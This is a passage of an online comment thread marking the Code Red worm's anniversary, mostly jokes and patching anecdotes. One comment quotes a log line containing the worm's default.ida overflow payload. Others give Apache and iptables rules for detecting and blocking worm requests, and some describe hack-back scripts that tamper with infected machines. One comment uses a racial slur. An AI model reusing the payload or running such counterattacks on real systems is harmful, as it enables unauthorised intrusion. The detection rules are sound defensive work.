  93. Happy Birthday to me.... by CodeRed · · Score: 3, Funny

    Recommended gifts from admirers:

    1) DIVX's of Hackers or The Net.
    2) Natalie Portman... Enough said.
    3) Port me to more platforms.

    and finally.... a 2nd chance.

    --

    --
    CodeRed, the lower user #. No relation to SirCam.
  94. Why??!!! by netphilter · · Score: 1

    Why would you glorify this virus by even acknowledging it's anniversary?!!

    --
    "Herbivores eat well cause their food never, ever runs."
  95. 509 by Ender+Ryan · · Score: 3, Interesting
    My web server received 509 requests for default.ida last week, 7 days.

    You should have seen it last year, one day we were receiving so many requests for non-existant files that out server was crawling, because our not found page was generated by some scripts. I simply wrote a Perl handler to handle it(roughly 60 secs) and that took care of it.

    Quite humorous it was. And that we still get thousands of hits from infected machines is hilarious.

    Heh, Internet worms... fun stuff.

    --
    Sticking feathers up your butt does not make you a chicken - Tyler Durden
  96. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  97. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  98. Re:I wouldn't worry about it. WRONG! by Anonymous Coward · · Score: 0

    Oracle is the scumbag company that has offered this to the Feds for free.

  99. SUPERMAN! by Monofilament · · Score: 1

    What about that worm who nibbled away many millions of dollars from Elingson Oil's computer mainframe a couple of years back. They've never fixed that exploit.. I mean hell it was used before by those guys that Superman had to fight off. Then later after the Elingson Oil bit.. those guys at that big software firm Initek did it too.. then again that building burnt down so we can't prove it. WHERE's THE PATCH FOR THAT WORM!!!

    --


    Who makes you Sig?
  100. It's like the Springfield tire fire... by Anonymous Coward · · Score: 0

    One year later and still burning strong.

    212.175.39.77 - - [19/Jul/2002:08:01:49 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 329 "-" "-"

    Morons.

  101. Re: Insecure proxies & infections... by LunarFox · · Score: 1

    ...would seem to be the norm down there. I remember a couple years back, I was tracking down a luser on IRC who was bouncing off open proxies all over the world. One of them was that machine, IIRC. I sent e-mail (futile, I know) to various SAs telling them what the problem was. The only reply I got back, besides the automated responses, was from someone at that domain. He proceeded to bitch me out, accusing me of spreading FUD -- because of something HIS machine allowed. But he did claim to have plugged the hole afterwards. :P

    --
    on.
  102. Cherry flavored? Not hardly. by CaptainEcchi · · Score: 1

    I think calling it "cherry-flavored" is too generous. "Red-flavored" is much more to the point.

  103. Wrong. (was: Interesting...) by Anonymous Coward · · Score: 0

    Such a worm is already out. Or don't you keep up with network security?

    The problem, of course, is that it isn't making much headway right now.

  104. The 1% Patch Statistic by Proudrooster · · Score: 4, Informative

    Believe it or not, out of all the people in in the world running MS Outlook, fewer than 1% have ever pulled down security patches, see The Great MS Patch Nobody Uses.

    Additionally, the Win2K/NT server guys are afraid to install security patches since they never are really how much of their server is going to break. Often times, Admins will patch the servers which touch the Internet but not the Internal servers for fear of breaking them. With Code Red, this was quite humorous because the outer servers were patched as soon as the Code Red patch was available, thinking this action would defend the realm against Code Red, but they forgot about the laptop users which brought Code Red in the back door via the local LAN.

    But not to worry folks, once we get Palladium hardware in all our servers, this will not happen again right? In fact we won't even have to patch anymore, since everything will be secure and, only secure applications will be allowed to run.

    Oh, wait, wouldn't IIS pass the palladium trusted application test?

    Why yes it would...... and Code Red would join the list of "Trusted Secure Applications".!
    Sorry, I have to smack Palladium everytime I get a chance.

  105. Re:No mac web os9 or older servers EVER exploited by Anonymous Coward · · Score: 0

    It'd be nice if you read the title of your parent post before commenting. Here's a hint: No mac web os9 or older servers EVER exploited and another hint, this from your own post: # CGI-McPanic: script to crash MacOS X hmm.

  106. Dept of Redundancy Dept by ShavenYak · · Score: 1, Redundant

    ...and it was quite a bit of fun riding skateboards around the corporate HQ at 2:30am in the morning...

    As opposed to 2:30am in the afternoon?

    --

    Hey kids, there's only 5 days left 'til Yak Shaving Day!
    1. Re:Dept of Redundancy Dept by Anonymous Coward · · Score: 0

      Ok, who's the comedian that modded this post redundant? Of course it was redundant. It was supposed to be redundant. Not only that, it was supposed to say the same thing as the previous post which made the comment that 2:30am in the afternoon was a redundant repetition. As a matter of fact, this post is redundant too. Redundant things are great over and over and over again!

  107. Can it be stopped by Anonymous Coward · · Score: 0

    Smallpox killed 300 million people in the 20th century, but a coordinated effort lead by the WHO effectively erradicated it.

    Who will lead the effort to erradicate CODE RED?

    Since it allows random code to be run on infected servers, it is technically trivial to stop it.

    Who will lead the counterattack?

    Just wipe out IIS and reboot should do it.

    RL

  108. Whin Whin Whin by Anonymous Coward · · Score: 0

    That is all I hear.. How about everyone stfu? If u hate Microsoft so much don't freakin use it? Go create your own product and stop ur whinning!!

  109. Re:I wouldn't worry about it. WRONG! by colmore · · Score: 2

    I know this. But a lot of government "security" is handled through microsoft products.

    And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.

    I was just trying to make a point in a somewhat quippy manner.

    --
    In Capitalist America, bank robs you!
  110. The last straw by SomeOtherGuy · · Score: 2

    From my memory I remember this is the straw that broke the camels back for many of the people and companies that I knew who had been running IIS in some form or another. We had always been a Unix shop -- but many of the 3rd party "server" products had been written using ISAPI -- and required IIS and or Windows to function...The companies that produced these products were flying high and raising the Microsoft sword of ignorance. This virus sent them all back into their holes. Some of them went back to the drawing board to port their products to a real OS and Web Server....The others are dead or close to death.

    --
    (+1 Funny) only if I laugh out loud.
  111. could have ...... by Anonymous Coward · · Score: 0

    Only thing I wish would have been done with this article, is that there should have been a link to removal tools for NT/2k. Remember, most Microsoft server "admins" (I use that term loosely) don't know what they're dealing with. Also, I know that the MS patch to fix that problem didn't work. For about 8 months I installed the patch to remove/repair my ONLY NT server about twice a week. It would stop the process and remove it, but the virus would just come back. The logs on my linux servers are what I went by to tell when my NT box had it....again. Anti-virus software doesn't even catch it half the time.

    All I'm really saying is there should have been some information about removing it and so forth in the article. If we're gonna gripe about people not maintaining their servers, it behooves us to help them figure out how to do so.

  112. My commodore 64 webserver has never been exploited by Anonymous Coward · · Score: 0

    In other news, an Anonymous Coward reports "There have been no reported incidents of any Commodore 64 webservers ever having been compromised! Oh, and my Honda Accord hasn't been compromised either..."

  113. Re:I wouldn't worry about it. WRONG! by First+Person · · Score: 2

    And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.

    It might not be Microsoft. It might be Oracle. Why doesn't that make me feel any better?

    --
    Given one hour to live, the student replied: "I'd spend it with professor FP who can make an hour seem like a lifetime."
  114. Re:Porn: 3 way by Anonymous Coward · · Score: 0

    You stupid nigger, please kindly shut the fuck up and get back to work.

  115. Unintended consquences by tacokill · · Score: 1

    Folks, this is a PERFECT example of unintended consequences.

    Any more questions on why people say computer law is jacked up?

  116. script kitties by Anonymous Coward · · Score: 0

    OMG! Now the CATS are learning to program! How am I every going to compete with programmers that get paid in Meow mix?!

  117. Code Red's Birthday? by Icephreak1 · · Score: 1

    This isn't so much about the anniversary of an aggressive virus so much as it is a reminder that people remain impressionable, gullible and downright cluelness about the technology they use on a daily basis.

    The same people with computers that end up ravaged by silly viruses attached to e-mail messages with subjects resembling "Virus Removal Tool" are the same people that wonder why they can't address e-mail to "www.yahoo.com" and so ask me to explain the difference between a web and e-mail address to them. Oh yeah, did I mention I do tech support for an ISP?

    Worse yet, it's remarkable how people end up being repeatedly suckered by half-baked, ill-worded schemes to get you to open their 'refund.txt.bat' files.

    The real weakest link here are the people -- after all, it's people that are responsible for creating and propagating viruses, but a close second for that ultimate prize goes to the method to all this madness: Microsoft Windows and its rotten offspring, Outlook Express. With ease of use comes ease of being deceived, which is all attributed to the same people who believe computers are toys -- the ignorant ones. That isn't to say everybody that uses Windows and Outlook Express are ignorant; I use Windows on a daily basis, never Outlook Express though. I set that aside in favour of no-frills e-mail through a sell account. There are an overrepresentation of stupid folks using Windows.

    So with that reasoning, I suppose it would be more appropriate to wish the stupid folks a happy birthday.

    - IP

  118. A few more code red images by vile7707 · · Score: 1
  119. Follow-Up on CodeRed/Nimda + counter-fight by valmont · · Score: 2
    A while ago i put-up a journal entry on very basics procedures to make your apache logs less clutered by codered and nimda queries.

    I have since then been saving each nimda hit in a separate log and recently compiled a list of *ALL* unique nimda queries made to my web server which I use with home-grown cgi/shell scripts to make a series of requests back to the attackers ip addresses as they hit me, which attempt to place warning text files in various places on their system and pop alert messages.

    So I also recently posted a follow-up article on nimda which points you to all the queries i have catalogged so far.

    Note: if you *really* want some of the shell scripts i use to attempt to warn the attackers just request so in comments to my journal, tho they really are nasty hacks. I just may write a java app triggered by a servlet or cgi one of these days.

  120. Configure Apache to add virus IP's to 'iptables'? by EddyGeez · · Score: 1
    In order to prevent the traffic from even reaching Apache (I know about using SetEnvIf and VirtualHosts to clean up the log files, but the traffic still hits the web server), I'd like to be able to detect requests for default.ida, cmd.exe, etc. and then have those IP addresses automatically added to a WEBVIRUS chain for 'iptables'. It would start with something like this to send any HTTP traffic to the WEBVIRUS chain:

    iptables -t filter -A INPUT -i ${INET_IFACE} -p tcp --dport http -j WEBVIRUS

    The default entry in WEBVIRUS chain would be to jump to the INETIN chain (or ACCEPT if that is what you want) if no matches were found:

    iptables -t filter -A WEBVIRUS -j INETIN

    Then, if there was some way to have Apache call 'iptables' each time it detected a "virus" hit (this is the part I haven't figure out yet...)

    iptables -t filter -I WEBVIRUS -i ${INET_IFACE} -s ${host} -j LOGNDROP

    which would insert the offending IP as the first entry in the WEBVIRUS chain. (LOGNDROP is just a rate-limited logging chain). Now the infected machine is effectively black-holed, preventing any further requests from even reaching Apache or the log files.

    The tricky part is getting something like the following to work in Apache so it can call 'iptables' to add the offending IP:

    RewriteRule ^(/(scripts|msadc|MSADC|./winnt)|.*(default\.ida|[ NX]{30}|c\+dir)) /cgi-bin/webvirus.pl [L,T=a pplication/x-httpd-cgi]

    Anybody have any ideas or seen any solutions that have integrated web-virus detection with iptables filtering?

  121. code red killa via PHP script by Anonymous Coward · · Score: 0

    This script will run "route delete 0.0.0.0" when someone infected with Code Red tries to infect your machine

    click for scripty

    I have been using this for six months with much success.

  122. Do you think this is wise (or decent)? by Anonymous Coward · · Score: 0

    Why should Slashdot publicly celebrate the "accomplishment" of a few childish crackers?

    There are plenty of hard working people out there.
    Please stop giving undue credit to useless idiots who waste our oxygen supplies.

  123. Limited Ecosystem by steelhive · · Score: 2, Interesting

    The biggest reason (IHMO) why Code Red spread so rampantly was not because:
    - Microsoft writes lousy code (they're not great, but I don't believe they suck more than other httpd authors)
    - Windows security is dreadful (Win95/98 is fairly bad, but I don't think NT is *that* horrific)
    - The large installed base (Apache has kind of a big base)
    - Microsoft has bad kharma

    I believe the real reason is the *homogeneity* of IIS and the Win32 platform. Virus and worm authors have a predictable environment for which to code. Biologists would refer to this as a monoculture. Monocultures are notoriously prone to being taken down -- witness the Irish potato famine.

    Apache runs on far too many disparate platforms for a single exploit to "catch fire".

    That's why I like an internet with many different OSes, machine architectures, http servers, etc. A diverse ecosystem is good for all! ;-)

    Apache

  124. Is it good or bad... by bcwengerter · · Score: 1

    ...that I share a birthday with Code Red? :-)

  125. Counterproductive by Anonymous Coward · · Score: 0

    Don't these virus authors do it for the fame and attention? Why feed an ego with an "anniversary story"?

  126. Re:Configure Apache to add virus IP's to 'iptables by SuiteSisterMary · · Score: 2

    Why make it difficult? Make a script in your favourite language; shell, perl, whatever, and name it 'default.ida' or 'root.exe' and plant it properly. The script, when called by Apache as a CGI, will have the IP address as an env variable. Use that to update your filter of choice appropriately.

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  127. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion